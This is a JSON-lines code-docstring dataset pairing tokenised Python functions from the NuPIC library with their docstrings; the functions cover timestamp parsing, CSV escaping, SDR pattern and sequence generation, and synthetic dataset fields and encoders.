{"signature": "@classmethod<EOL><INDENT>def isValid(cls, fieldDataType):<DEDENT>", "body": "return fieldDataType in cls._ALL<EOL>", "docstring": "Check a candidate value whether it's one of the valid field data types\n\n        :param fieldDataType: (string) candidate field data type\n        :returns: True if the candidate value is a legitimate field data type value;\n                  False if not", "id": "f17656:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def isValid(cls, attr):<DEDENT>", "body": "return attr in cls._ALL<EOL>", "docstring": "Check a candidate value whether it's one of the valid attributes\n\n        :param attr: (string) candidate value\n        :returns: True if the candidate value is a legitimate \"special\" field\n                  attribute; False if not", "id": "f17656:c2:m0"}
{"signature": "def parseTimestamp(s):", "body": "s = s.strip()<EOL>for pattern in DATETIME_FORMATS:<EOL><INDENT>try:<EOL><INDENT>return datetime.datetime.strptime(s, pattern)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (s, '<STR_LIT:U+002CU+0020>'.join(DATETIME_FORMATS)))<EOL>", "docstring": "Parses a textual datetime format and return a Python datetime object.\n\nThe supported format is: ``yyyy-mm-dd h:m:s.ms``\n\nThe time component is optional.\n\n- hours are 00..23 (no AM/PM)\n- minutes are 00..59\n- seconds are 00..59\n- micro-seconds are 000000..999999\n\n:param s: (string) input time text\n:return: (datetime.datetime)", "id": "f17657:m0"}
{"signature": "def serializeTimestamp(t):", "body": "return t.strftime(DATETIME_FORMATS[<NUM_LIT:0>])<EOL>", "docstring": "Turns a datetime object into a string.\n\n:param t: (datetime.datetime)\n:return: (string) in default format (see \n         :const:`~nupic.data.utils.DATETIME_FORMATS` [0])", "id": "f17657:m1"}
{"signature": "def serializeTimestampNoMS(t):", "body": "return t.strftime(DATETIME_FORMATS[<NUM_LIT:2>])<EOL>", "docstring": "Turns a datetime object into a string ignoring milliseconds.\n\n:param t: (datetime.datetime)\n:return: (string) in default format (see \n         :const:`~nupic.data.utils.DATETIME_FORMATS` [2])", "id": "f17657:m2"}
{"signature": "def parseBool(s):", "body": "l = s.lower()<EOL>if l in (\"<STR_LIT:true>\", \"<STR_LIT:t>\", \"<STR_LIT:1>\"):<EOL><INDENT>return True<EOL><DEDENT>if l in (\"<STR_LIT:false>\", \"<STR_LIT:f>\", \"<STR_LIT:0>\"):<EOL><INDENT>return False<EOL><DEDENT>raise Exception(\"<STR_LIT>\" % s)<EOL>", "docstring": "String to boolean\n\n:param s: (string)\n:return: (bool)", "id": "f17657:m3"}
{"signature": "def floatOrNone(f):", "body": "if f == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>return float(f)<EOL>", "docstring": "Tries to convert input to a float input or returns ``None``.\n\n:param f: (object) thing to convert to a float\n:return: (float or ``None``)", "id": "f17657:m4"}
{"signature": "def intOrNone(i):", "body": "if i.strip() == '<STR_LIT:None>' or i.strip() == '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>return int(i)<EOL>", "docstring": "Tries to convert input to a int input or returns ``None``.\n\n:param f: (object) thing to convert to a int\n:return: (int or ``None``)", "id": "f17657:m5"}
{"signature": "def escape(s):", "body": "if s is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>assert isinstance(s, basestring),\"<STR_LIT>\" % (basestring, type(s), s)<EOL>s = s.replace('<STR_LIT:\\\\>', '<STR_LIT>')<EOL>s = s.replace('<STR_LIT:\\n>', '<STR_LIT>')<EOL>s = s.replace('<STR_LIT:\\t>', '<STR_LIT>')<EOL>s = s.replace('<STR_LIT:U+002C>', '<STR_LIT:\\t>')<EOL>return s<EOL>", "docstring": "Escape commas, tabs, newlines and dashes in a string\n\nCommas are encoded as tabs.\n\n:param s: (string) to escape\n:returns: (string) escaped string", "id": "f17657:m6"}
{"signature": "def unescape(s):", "body": "assert isinstance(s, basestring)<EOL>s = s.replace('<STR_LIT:\\t>', '<STR_LIT:U+002C>')<EOL>s = s.replace('<STR_LIT>', '<STR_LIT:U+002C>')<EOL>s = s.replace('<STR_LIT>', '<STR_LIT:\\n>')<EOL>s = s.replace('<STR_LIT>', '<STR_LIT:\\\\>')<EOL>return s<EOL>", "docstring": "Unescapes a string that may contain commas, tabs, newlines and dashes\n\nCommas are decoded from tabs.\n\n:param s: (string) to unescape\n:returns: (string) unescaped string", "id": "f17657:m7"}
{"signature": "def parseSdr(s):", "body": "assert isinstance(s, basestring)<EOL>sdr = [int(c) for c in s if c in (\"<STR_LIT:0>\", \"<STR_LIT:1>\")]<EOL>if len(sdr) != len(s):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return sdr<EOL>", "docstring": "Parses a string containing only 0's and 1's and return a Python list object.\n\n:param s: (string) string to parse\n:returns: (list) SDR out", "id": "f17657:m8"}
{"signature": "def serializeSdr(sdr):", "body": "return \"<STR_LIT>\".join(str(bit) for bit in sdr)<EOL>", "docstring": "Serialize Python list object containing only 0's and 1's to string.\n\n:param sdr: (list) binary\n:returns: (string) SDR out", "id": "f17657:m9"}
{"signature": "def parseStringList(s):", "body": "assert isinstance(s, basestring)<EOL>return [int(i) for i in s.split()]<EOL>", "docstring": "Parse a string of space-separated numbers, returning a Python list.\n\n:param s: (string) to parse\n:returns: (list) binary SDR", "id": "f17657:m10"}
{"signature": "def stripList(listObj):", "body": "return \"<STR_LIT:U+0020>\".join(str(i) for i in listObj)<EOL>", "docstring": "Convert a list of numbers to a string of space-separated values.\n\n:param listObj: (list) to convert\n:returns: (string) of space-separated values", "id": "f17657:m11"}
{"signature": "def __init__(self,<EOL>n,<EOL>w,<EOL>num=<NUM_LIT:100>,<EOL>seed=<NUM_LIT>):", "body": "<EOL>self._n = n<EOL>self._w = w<EOL>self._num = num<EOL>self._random = Random(seed)<EOL>self._patterns = dict()<EOL>self._generate()<EOL>", "docstring": "@param n   (int)      Number of available bits in pattern\n@param w   (int/list) Number of on bits in pattern\n                      If list, each pattern will have a `w` randomly\n                      selected from the list.\n@param num (int)      Number of available patterns", "id": "f17658:c0:m0"}
{"signature": "def get(self, number):", "body": "if not number in self._patterns:<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>return self._patterns[number]<EOL>", "docstring": "Return a pattern for a number.\n\n@param number (int) Number of pattern\n\n@return (set) Indices of on bits", "id": "f17658:c0:m1"}
{"signature": "def addNoise(self, bits, amount):", "body": "newBits = set()<EOL>for bit in bits:<EOL><INDENT>if self._random.getReal64() < amount:<EOL><INDENT>newBits.add(self._random.getUInt32(self._n))<EOL><DEDENT>else:<EOL><INDENT>newBits.add(bit)<EOL><DEDENT><DEDENT>return newBits<EOL>", "docstring": "Add noise to pattern.\n\n@param bits   (set)   Indices of on bits\n@param amount (float) Probability of switching an on bit with a random bit\n\n@return (set) Indices of on bits in noisy pattern", "id": "f17658:c0:m2"}
{"signature": "def numbersForBit(self, bit):", "body": "if bit >= self._n:<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>numbers = set()<EOL>for index, pattern in self._patterns.items():<EOL><INDENT>if bit in pattern:<EOL><INDENT>numbers.add(index)<EOL><DEDENT><DEDENT>return numbers<EOL>", "docstring": "Return the set of pattern numbers that match a bit.\n\n@param bit (int) Index of bit\n\n@return (set) Indices of numbers", "id": "f17658:c0:m3"}
{"signature": "def numberMapForBits(self, bits):", "body": "numberMap = dict()<EOL>for bit in bits:<EOL><INDENT>numbers = self.numbersForBit(bit)<EOL>for number in numbers:<EOL><INDENT>if not number in numberMap:<EOL><INDENT>numberMap[number] = set()<EOL><DEDENT>numberMap[number].add(bit)<EOL><DEDENT><DEDENT>return numberMap<EOL>", "docstring": "Return a map from number to matching on bits,\nfor all numbers that match a set of bits.\n\n@param bits (set) Indices of bits\n\n@return (dict) Mapping from number => on bits.", "id": "f17658:c0:m4"}
{"signature": "def prettyPrintPattern(self, bits, verbosity=<NUM_LIT:1>):", "body": "numberMap = self.numberMapForBits(bits)<EOL>text = \"<STR_LIT>\"<EOL>numberList = []<EOL>numberItems = sorted(iter(numberMap.items()),<EOL>key=lambda number_bits: len(number_bits[<NUM_LIT:1>]),<EOL>reverse=True)<EOL>for number, bits in numberItems:<EOL><INDENT>if verbosity > <NUM_LIT:2>:<EOL><INDENT>strBits = [str(n) for n in bits]<EOL>numberText = \"<STR_LIT>\".format(number, \"<STR_LIT:U+002C>\".join(strBits))<EOL><DEDENT>elif verbosity > <NUM_LIT:1>:<EOL><INDENT>numberText = \"<STR_LIT>\".format(number, len(bits))<EOL><DEDENT>else:<EOL><INDENT>numberText = str(number)<EOL><DEDENT>numberList.append(numberText)<EOL><DEDENT>text += \"<STR_LIT>\".format(\"<STR_LIT:U+002CU+0020>\".join(numberList))<EOL>return text<EOL>", "docstring": "Pretty print a pattern.\n\n@param bits      (set) Indices of on bits\n@param verbosity (int) Verbosity level\n\n@return (string) Pretty-printed text", "id": "f17658:c0:m5"}
{"signature": "def _generate(self):", "body": "candidates = np.array(list(range(self._n)), np.uint32)<EOL>for i in range(self._num):<EOL><INDENT>self._random.shuffle(candidates)<EOL>pattern = candidates[<NUM_LIT:0>:self._getW()]<EOL>self._patterns[i] = set(pattern)<EOL><DEDENT>", "docstring": "Generates set of random patterns.", "id": "f17658:c0:m6"}
{"signature": "def _getW(self):", "body": "w = self._w<EOL>if type(w) is list:<EOL><INDENT>return w[self._random.getUInt32(len(w))]<EOL><DEDENT>else:<EOL><INDENT>return w<EOL><DEDENT>", "docstring": "Gets a value of `w` for use in generating a pattern.", "id": "f17658:c0:m7"}
{"signature": "def _generate(self):", "body": "n = self._n<EOL>w = self._w<EOL>assert type(w) is int, \"<STR_LIT>\"<EOL>for i in range(n / w):<EOL><INDENT>pattern = set(range(i * w, (i+<NUM_LIT:1>) * w))<EOL>self._patterns[i] = pattern<EOL><DEDENT>", "docstring": "Generates set of consecutive patterns.", "id": "f17658:c1:m0"}
{"signature": "def __init__(self,<EOL>patternMachine,<EOL>seed=<NUM_LIT>):", "body": "<EOL>self.patternMachine = patternMachine<EOL>self._random = Random(seed)<EOL>", "docstring": "@param patternMachine (PatternMachine) Pattern machine instance", "id": "f17659:c0:m0"}
{"signature": "def generateFromNumbers(self, numbers):", "body": "sequence = []<EOL>for number in numbers:<EOL><INDENT>if number == None:<EOL><INDENT>sequence.append(number)<EOL><DEDENT>else:<EOL><INDENT>pattern = self.patternMachine.get(number)<EOL>sequence.append(pattern)<EOL><DEDENT><DEDENT>return sequence<EOL>", "docstring": "Generate a sequence from a list of numbers.\n\nNote: Any `None` in the list of numbers is considered a reset.\n\n@param numbers (list) List of numbers\n\n@return (list) Generated sequence", "id": "f17659:c0:m1"}
{"signature": "def addSpatialNoise(self, sequence, amount):", "body": "newSequence = []<EOL>for pattern in sequence:<EOL><INDENT>if pattern is not None:<EOL><INDENT>pattern = self.patternMachine.addNoise(pattern, amount)<EOL><DEDENT>newSequence.append(pattern)<EOL><DEDENT>return newSequence<EOL>", "docstring": "Add spatial noise to each pattern in the sequence.\n\n@param sequence (list)  Sequence\n@param amount   (float) Amount of spatial noise\n\n@return (list) Sequence with spatial noise", "id": "f17659:c0:m2"}
{"signature": "def prettyPrintSequence(self, sequence, verbosity=<NUM_LIT:1>):", "body": "text = \"<STR_LIT>\"<EOL>for i in xrange(len(sequence)):<EOL><INDENT>pattern = sequence[i]<EOL>if pattern == None:<EOL><INDENT>text += \"<STR_LIT>\"<EOL>if i < len(sequence) - <NUM_LIT:1>:<EOL><INDENT>text += \"<STR_LIT:\\n>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>text += self.patternMachine.prettyPrintPattern(pattern,<EOL>verbosity=verbosity)<EOL><DEDENT><DEDENT>return text<EOL>", "docstring": "Pretty print a sequence.\n\n@param sequence  (list) Sequence\n@param verbosity (int)  Verbosity level\n\n@return (string) Pretty-printed text", "id": "f17659:c0:m3"}
{"signature": "def generateNumbers(self, numSequences, sequenceLength, sharedRange=None):", "body": "numbers = []<EOL>if sharedRange:<EOL><INDENT>sharedStart, sharedEnd = sharedRange<EOL>sharedLength = sharedEnd - sharedStart<EOL>sharedNumbers = range(numSequences * sequenceLength,<EOL>numSequences * sequenceLength + sharedLength)<EOL><DEDENT>for i in xrange(numSequences):<EOL><INDENT>start = i * sequenceLength<EOL>newNumbers = np.array(range(start, start + sequenceLength), np.uint32)<EOL>self._random.shuffle(newNumbers)<EOL>newNumbers = list(newNumbers)<EOL>if sharedRange is not None:<EOL><INDENT>newNumbers[sharedStart:sharedEnd] = sharedNumbers<EOL><DEDENT>numbers += newNumbers<EOL>numbers.append(None)<EOL><DEDENT>return numbers<EOL>", "docstring": "@param numSequences   (int)   Number of sequences to return,\n                              separated by None\n@param sequenceLength (int)   Length of each sequence\n@param sharedRange    (tuple) (start index, end index) indicating range of\n                              shared subsequence in each sequence\n                              (None if no shared subsequences)\n@return (list) Numbers representing sequences", "id": "f17659:c0:m4"}
{"signature": "def getDescription(self):", "body": "description = {'<STR_LIT:name>':self.name, '<STR_LIT>':[f.name for f in self.fields],'<STR_LIT>':[f.numRecords for f in self.fields]}<EOL>return description<EOL>", "docstring": "Returns a description of the dataset", "id": "f17660:c0:m1"}
{"signature": "def setSeed(self, seed):", "body": "rand.seed(seed)<EOL>np.random.seed(seed)<EOL>", "docstring": "Set the random seed and the numpy seed\n        Parameters:\n        --------------------------------------------------------------------\n        seed:             random seed", "id": "f17660:c0:m2"}
{"signature": "def addField(self, name, fieldParams, encoderParams):", "body": "assert fieldParams is not None and'<STR_LIT:type>' in fieldParams<EOL>dataClassName = fieldParams.pop('<STR_LIT:type>')<EOL>try:<EOL><INDENT>dataClass=eval(dataClassName)(fieldParams)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (dataClass, fieldParams)))<EOL>raise<EOL><DEDENT>encoderParams['<STR_LIT>']=dataClass<EOL>encoderParams['<STR_LIT>']=dataClassName<EOL>fieldIndex = self.defineField(name, encoderParams)<EOL>", "docstring": "Add a single field to the dataset.\n        Parameters:\n        -------------------------------------------------------------------\n        name:             The user-specified name of the field\n        fieldSpec:        A list of one or more dictionaries specifying parameters\n                          to be used for dataClass initialization. Each dict must\n                          contain the key 'type' that specifies a distribution for\n                          the values in this field\n        encoderParams:    Parameters for the field encoder", "id": "f17660:c0:m3"}
{"signature": "def addMultipleFields(self, fieldsInfo):", "body": "assert all(x in field for x in ['<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>'] for fieldin fieldsInfo)<EOL>for spec in fieldsInfo:<EOL><INDENT>self.addField(spec.pop('<STR_LIT:name>'), spec.pop('<STR_LIT>'), spec.pop('<STR_LIT>'))<EOL><DEDENT>", "docstring": "Add multiple fields to the dataset.\n        Parameters:\n        -------------------------------------------------------------------\n        fieldsInfo:       A list of dictionaries, containing a field name, specs for\n                          the data classes and encoder params for the corresponding\n                          field.", "id": "f17660:c0:m4"}
{"signature": "def defineField(self, name, encoderParams=None):", "body": "self.fields.append(_field(name, encoderParams))<EOL>return len(self.fields)-<NUM_LIT:1><EOL>", "docstring": "Initialize field using relevant encoder parameters.\n        Parameters:\n        -------------------------------------------------------------------\n        name:                 Field name\n        encoderParams:        Parameters for the encoder.\n\n        Returns the index of the field", "id": "f17660:c0:m5"}
{"signature": "def setFlag(self, index, flag):", "body": "assert len(self.fields)>index<EOL>self.fields[index].flag=flag<EOL>", "docstring": "Set flag for field at index. Flags are special characters such as 'S' for\n        sequence or 'T' for timestamp.\n        Parameters:\n        --------------------------------------------------------------------\n        index:            index of field whose flag is being set\n        flag:             special character", "id": "f17660:c0:m6"}
{"signature": "def generateRecord(self, record):", "body": "assert(len(record)==len(self.fields))<EOL>if record is not None:<EOL><INDENT>for x in range(len(self.fields)):<EOL><INDENT>self.fields[x].addValue(record[x])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for field in self.fields:<EOL><INDENT>field.addValue(field.dataClass.getNext())<EOL><DEDENT><DEDENT>", "docstring": "Generate a record. Each value is stored in its respective field.\n        Parameters:\n        --------------------------------------------------------------------\n        record:       A 1-D array containing as many values as the number of fields\n        fields:       An object of the class field that specifies the characteristics\n                      of each value in the record\n        Assertion:\n        --------------------------------------------------------------------\n        len(record)==len(fields):   A value for each field must be specified.\n                                    Replace missing values of any type by\n                                    SENTINEL_VALUE_FOR_MISSING_DATA\n\n        This method supports external classes but not combination of classes.", "id": "f17660:c0:m7"}
{"signature": "def generateRecords(self, records):", "body": "if self.verbosity><NUM_LIT:0>: print('<STR_LIT>', len(records), '<STR_LIT>')<EOL>for record in records:<EOL><INDENT>self.generateRecord(record)<EOL><DEDENT>", "docstring": "Generate multiple records. Refer to definition for generateRecord", "id": "f17660:c0:m8"}
{"signature": "def getRecord(self, n=None):", "body": "if n is None:<EOL><INDENT>assert len(self.fields)><NUM_LIT:0><EOL>n = self.fields[<NUM_LIT:0>].numRecords-<NUM_LIT:1><EOL><DEDENT>assert (all(field.numRecords>n for field in self.fields))<EOL>record = [field.values[n] for field in self.fields]<EOL>return record<EOL>", "docstring": "Returns the nth record", "id": "f17660:c0:m9"}
{"signature": "def getAllRecords(self):", "body": "values=[]<EOL>numRecords = self.fields[<NUM_LIT:0>].numRecords<EOL>assert (all(field.numRecords==numRecords for field in self.fields))<EOL>for x in range(numRecords):<EOL><INDENT>values.append(self.getRecord(x))<EOL><DEDENT>return values<EOL>", "docstring": "Returns all the records", "id": "f17660:c0:m10"}
{"signature": "def encodeRecord(self, record, toBeAdded=True):", "body": "encoding=[self.fields[i].encodeValue(record[i], toBeAdded) for i inrange(len(self.fields))]<EOL>return encoding<EOL>", "docstring": "Encode a record as a sparse distributed representation\n        Parameters:\n        --------------------------------------------------------------------\n        record:        Record to be encoded\n        toBeAdded:     Whether the encodings corresponding to the record are added to\n                       the corresponding fields", "id": "f17660:c0:m11"}
{"signature": "def encodeAllRecords(self, records=None, toBeAdded=True):", "body": "if records is None:<EOL><INDENT>records = self.getAllRecords()<EOL><DEDENT>if self.verbosity><NUM_LIT:0>: print('<STR_LIT>', len(records), '<STR_LIT>')<EOL>encodings = [self.encodeRecord(record, toBeAdded) for record in records]<EOL>return encodings<EOL>", "docstring": "Encodes a list of records.\n        Parameters:\n        --------------------------------------------------------------------\n        records:      One or more records. (i,j)th element of this 2D array\n                      specifies the value at field j of record i.\n                      If unspecified, records previously generated and stored are\n                      used.\n        toBeAdded:    Whether the encodings corresponding to the record are added to\n                      the corresponding fields", "id": "f17660:c0:m12"}
{"signature": "def addValueToField(self, i, value=None):", "body": "assert(len(self.fields)>i)<EOL>if value is None:<EOL><INDENT>value = self.fields[i].dataClass.getNext()<EOL>self.fields[i].addValue(value)<EOL>return value<EOL><DEDENT>else: self.fields[i].addValue(value)<EOL>", "docstring": "Add 'value' to the field i.\n        Parameters:\n        --------------------------------------------------------------------\n        value:       value to be added\n        i:           value is added to field i", "id": "f17660:c0:m13"}
{"signature": "def addValuesToField(self, i, numValues):", "body": "assert(len(self.fields)>i)<EOL>values = [self.addValueToField(i) for n in range(numValues)]<EOL>return values<EOL>", "docstring": "Add values to the field i.", "id": "f17660:c0:m14"}
{"signature": "def getSDRforValue(self, i, j):", "body": "assert len(self.fields)>i<EOL>assert self.fields[i].numRecords>j<EOL>encoding = self.fields[i].encodings[j]<EOL>return encoding<EOL>", "docstring": "Returns the sdr for jth value at column i", "id": "f17660:c0:m15"}
{"signature": "def getZeroedOutEncoding(self, n):", "body": "assert all(field.numRecords>n for field in self.fields)<EOL>encoding = np.concatenate([field.encoder.encode(SENTINEL_VALUE_FOR_MISSING_DATA)if field.isPredictedField else field.encodings[n] for field in self.fields])<EOL>return encoding<EOL>", "docstring": "Returns the nth encoding with the predictedField zeroed out", "id": "f17660:c0:m16"}
{"signature": "def getTotaln(self):", "body": "n = sum([field.n for field in self.fields])<EOL>return n<EOL>", "docstring": "Returns the cumulative n for all the fields in the dataset", "id": "f17660:c0:m17"}
{"signature": "def getTotalw(self):", "body": "w = sum([field.w for field in self.fields])<EOL>return w<EOL>", "docstring": "Returns the cumulative w for all the fields in the dataset", "id": "f17660:c0:m18"}
{"signature": "def getEncoding(self, n):", "body": "assert (all(field.numEncodings>n for field in self.fields))<EOL>encoding = np.concatenate([field.encodings[n] for field in self.fields])<EOL>return encoding<EOL>", "docstring": "Returns the nth encoding", "id": "f17660:c0:m19"}
{"signature": "def getAllEncodings(self):", "body": "numEncodings=self.fields[<NUM_LIT:0>].numEncodings<EOL>assert (all(field.numEncodings==numEncodings for field in self.fields))<EOL>encodings = [self.getEncoding(index) for index in range(numEncodings)]<EOL>return encodings<EOL>", "docstring": "Returns encodings for all the records", "id": "f17660:c0:m20"}
{"signature": "def getAllFieldNames(self):", "body": "names = [field.name for field in self.fields]<EOL>return names<EOL>", "docstring": "Returns all field names", "id": "f17660:c0:m21"}
{"signature": "def getAllFlags(self):", "body": "flags = [field.flag for field in self.fields]<EOL>return flags<EOL>", "docstring": "Returns flags for all fields", "id": "f17660:c0:m22"}
{"signature": "def getAllDataTypes(self):", "body": "dataTypes = [field.dataType for field in self.fields]<EOL>return dataTypes<EOL>", "docstring": "Returns data types for all fields", "id": "f17660:c0:m23"}
{"signature": "def getFieldDescriptions(self):", "body": "descriptions = [field.getDescription() for field in self.fields]<EOL>return descriptions<EOL>", "docstring": "Returns descriptions for all fields", "id": "f17660:c0:m24"}
{"signature": "def saveRecords(self, path='<STR_LIT>'):", "body": "numRecords = self.fields[<NUM_LIT:0>].numRecords<EOL>assert (all(field.numRecords==numRecords for field in self.fields))<EOL>import csv<EOL>with open(path+'<STR_LIT>', '<STR_LIT:wb>') as f:<EOL><INDENT>writer = csv.writer(f)<EOL>writer.writerow(self.getAllFieldNames())<EOL>writer.writerow(self.getAllDataTypes())<EOL>writer.writerow(self.getAllFlags())<EOL>writer.writerows(self.getAllRecords())<EOL><DEDENT>if self.verbosity><NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>', numRecords,'<STR_LIT>',path,'<STR_LIT>')<EOL><DEDENT>", "docstring": "Export all the records into a csv file in numenta format.\n\n        Example header format:\n        fieldName1    fieldName2    fieldName3\n        date          string        float\n        T             S\n\n        Parameters:\n        --------------------------------------------------------------------\n        path:      Relative path of the file to which the records are to be exported", "id": "f17660:c0:m25"}
{"signature": "def removeAllRecords(self):", "body": "for field in self.fields:<EOL><INDENT>field.encodings, field.values=[], []<EOL>field.numRecords, field.numEncodings= (<NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Deletes all the values in the dataset", "id": "f17660:c0:m26"}
{"signature": "def __init__(self, name, encoderSpec):", "body": "self.name=name<EOL>self.n, self.w = (<NUM_LIT:100>, <NUM_LIT:15>)<EOL>self.encoderType,self.dataType,self.dataClassName  = (None, None, None)<EOL>self.flag='<STR_LIT>'<EOL>self.isPredictedField=False<EOL>if encoderSpec is not None:<EOL><INDENT>if '<STR_LIT:n>' in encoderSpec: self.n = encoderSpec.pop('<STR_LIT:n>')<EOL>if '<STR_LIT:w>' in encoderSpec: self.w = encoderSpec.pop('<STR_LIT:w>')<EOL>if '<STR_LIT>' in encoderSpec: self.flag = encoderSpec.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in encoderSpec: self.isPredictedField= encoderSpec.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in encoderSpec: self.dataClass= encoderSpec.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in encoderSpec: self.dataClassName= encoderSpec.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in encoderSpec: self.dataType = encoderSpec.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in encoderSpec: self.encoderType= encoderSpec.pop('<STR_LIT>')<EOL><DEDENT>if self.dataType is None and self.encoderType is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>assert(self.dataType is not None or self.encoderType is not None)<EOL>if self.dataType is None or self.encoderType is None:<EOL><INDENT>self._setTypes(encoderSpec)<EOL><DEDENT>self._initializeEncoders(encoderSpec)<EOL>self.encodings=[]<EOL>self.values=[]<EOL>self.numRecords=<NUM_LIT:0><EOL>self.numEncodings=<NUM_LIT:0><EOL>", "docstring": "Initialize a field with various parameters such as n, w, flag, dataType,\n        encoderType, and tag predicted field.", "id": "f17660:c1:m0"}
{"signature": "def addValues(self, values):", "body": "for v in values:<EOL><INDENT>self.addValue(v)<EOL><DEDENT>", "docstring": "Add values to the field", "id": "f17660:c1:m2"}
{"signature": "def addValue(self, value):", "body": "self.values.append(value)<EOL>self.numRecords+=<NUM_LIT:1><EOL>", "docstring": "Add value to the field", "id": "f17660:c1:m3"}
{"signature": "def encodeValue(self, value, toBeAdded=True):", "body": "encodedValue = np.array(self.encoder.encode(value), dtype=realDType)<EOL>if toBeAdded:<EOL><INDENT>self.encodings.append(encodedValue)<EOL>self.numEncodings+=<NUM_LIT:1><EOL><DEDENT>return encodedValue<EOL>", "docstring": "Value is encoded as a sdr using the encoding parameters of the Field", "id": "f17660:c1:m4"}
{"signature": "def _setTypes(self, encoderSpec):", "body": "if self.encoderType is None:<EOL><INDENT>if self.dataType in ['<STR_LIT:int>','<STR_LIT:float>']:<EOL><INDENT>self.encoderType='<STR_LIT>'<EOL><DEDENT>elif self.dataType=='<STR_LIT:string>':<EOL><INDENT>self.encoderType='<STR_LIT>'<EOL><DEDENT>elif self.dataType in ['<STR_LIT:date>', '<STR_LIT>']:<EOL><INDENT>self.encoderType='<STR_LIT:date>'<EOL><DEDENT><DEDENT>if self.dataType is None:<EOL><INDENT>if self.encoderType in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>self.dataType='<STR_LIT:float>'<EOL><DEDENT>elif self.encoderType in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.dataType='<STR_LIT:string>'<EOL><DEDENT>elif self.encoderType in ['<STR_LIT:date>', '<STR_LIT>']:<EOL><INDENT>self.dataType='<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "Set up the dataTypes and initialize encoders", "id": "f17660:c1:m5"}
{"signature": "def _initializeEncoders(self, encoderSpec):", "body": "<EOL>if self.encoderType in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in encoderSpec:<EOL><INDENT>self.minval = encoderSpec.pop('<STR_LIT>')<EOL><DEDENT>else: self.minval=None<EOL>if '<STR_LIT>' in encoderSpec:<EOL><INDENT>self.maxval = encoderSpec.pop('<STR_LIT>')<EOL><DEDENT>else: self.maxval = None<EOL>self.encoder=adaptive_scalar.AdaptiveScalarEncoder(name='<STR_LIT>',w=self.w, n=self.n, minval=self.minval, maxval=self.maxval, periodic=False, forced=True)<EOL><DEDENT>elif self.encoderType=='<STR_LIT>':<EOL><INDENT>self.encoder=sdr_category.SDRCategoryEncoder(name='<STR_LIT>',w=self.w, n=self.n)<EOL><DEDENT>elif self.encoderType in ['<STR_LIT:date>', '<STR_LIT>']:<EOL><INDENT>self.encoder=date.DateEncoder(name='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Initialize the encoders", "id": "f17660:c1:m6"}
{"signature": "def add(reader, writer, column, start, stop, value):", "body": "for i, row in enumerate(reader):<EOL><INDENT>if i >= start and i <= stop:<EOL><INDENT>row[column] = type(value)(row[column]) + value<EOL><DEDENT>writer.appendRecord(row)<EOL><DEDENT>", "docstring": "Adds a value over a range of rows.\n\n    Args:\n      reader: A FileRecordStream object with input data.\n      writer: A FileRecordStream object to write output data to.\n      column: The column of data to modify.\n      start: The first row in the range to modify.\n      end: The last row in the range to modify.\n      value: The value to add.", "id": "f17661:m0"}
{"signature": "def scale(reader, writer, column, start, stop, multiple):", "body": "for i, row in enumerate(reader):<EOL><INDENT>if i >= start and i <= stop:<EOL><INDENT>row[column] = type(multiple)(row[column]) * multiple<EOL><DEDENT>writer.appendRecord(row)<EOL><DEDENT>", "docstring": "Multiplies a value over a range of rows.\n\n    Args:\n      reader: A FileRecordStream object with input data.\n      writer: A FileRecordStream  object to write output data to.\n      column: The column of data to modify.\n      start: The first row in the range to modify.\n      end: The last row in the range to modify.\n      multiple: The value to scale/multiply by.", "id": "f17661:m1"}
{"signature": "def copy(reader, writer, start, stop, insertLocation=None, tsCol=None):", "body": "assert stop >= start<EOL>startRows = []<EOL>copyRows = []<EOL>ts = None<EOL>inc = None<EOL>if tsCol is None:<EOL><INDENT>tsCol = reader.getTimestampFieldIdx()<EOL><DEDENT>for i, row in enumerate(reader):<EOL><INDENT>if ts is None:<EOL><INDENT>ts = row[tsCol]<EOL><DEDENT>elif inc is None:<EOL><INDENT>inc = row[tsCol] - ts<EOL><DEDENT>if i >= start and i <= stop:<EOL><INDENT>copyRows.append(row)<EOL><DEDENT>startRows.append(row)<EOL><DEDENT>if insertLocation is None:<EOL><INDENT>insertLocation = stop + <NUM_LIT:1><EOL><DEDENT>startRows[insertLocation:insertLocation] = copyRows<EOL>for row in startRows:<EOL><INDENT>row[tsCol] = ts<EOL>writer.appendRecord(row)<EOL>ts += inc<EOL><DEDENT>", "docstring": "Copies a range of values to a new location in the data set.\n\n    Args:\n      reader: A FileRecordStream object with input data.\n      writer: A FileRecordStream object to write output data to.\n      start: The first row in the range to copy.\n      stop: The last row in the range to copy.\n      insertLocation: The location to insert the copied range. If not specified,\n          the range is inserted immediately following itself.", "id": "f17661:m2"}
